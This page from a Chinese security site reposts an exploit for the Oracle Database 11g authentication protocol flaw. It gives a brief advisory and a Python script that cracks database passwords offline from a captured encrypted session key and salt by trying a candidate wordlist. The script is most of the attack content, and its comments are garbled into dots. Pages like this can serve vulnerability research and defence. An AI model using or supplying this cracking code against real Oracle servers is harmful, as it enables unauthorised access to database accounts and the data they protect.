首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Oracle Database Authentication Protocol Security Bypass
来源:vfocus.net 作者:Esteban 发布时间:2012-10-22  
Oracle Database is prone to a remote security-bypass vulnerability that affects the authentication protocol.
 
An attacker can exploit this issue to bypass the authentication process and gain unauthorized access to the database.
 
This vulnerability affects Oracle Database 11g Release 1 and 11g Release 2.
 
 
    #-*-coding:utf8 -*-
      
    import hashlib
    from Crypto.Cipher import AES
      
    def decrypt(session,salt,password):
            pass_hash = hashlib.sha1(password+salt)
      
            #......... ..... ..... .......... .. 24 ....
            key = pass_hash.digest() + '\x00\x00\x00\x00'
            decryptor = AES.new(key,AES.MODE_CBC)
            plain = decryptor.decrypt(session)
            return plain
      
    #............. ........... ...... 48 ....
    session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'
      
    #.... 10 ....
    salt_hex = 'A7193E546377EC56639E'
      
    passwords = ['test','password','oracle','demo']
      
    for password in passwords:
            session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
            print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex'))
            if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
                    print 'PASSWORD IS "%s"' % password
                    break



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Turbo FTP Server 1.30.823 PORT
·Adobe reader 10.1.4 memory cor
·Apple QuickTime Player 7.7.2 D
·RealPlayer 15.0.6.14 (.3GP) Ar
·Internet Explorer 9 XSS Filter
·Microsoft Office Picture Manag
·ManageEngine Security Manager
·Google SketchUp 8 - Stack Base
·ManageEngine Security Manager
·Microsoft Office professional
·ManageEngine Security Manager
·Aladdin Knowledge System Ltd.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved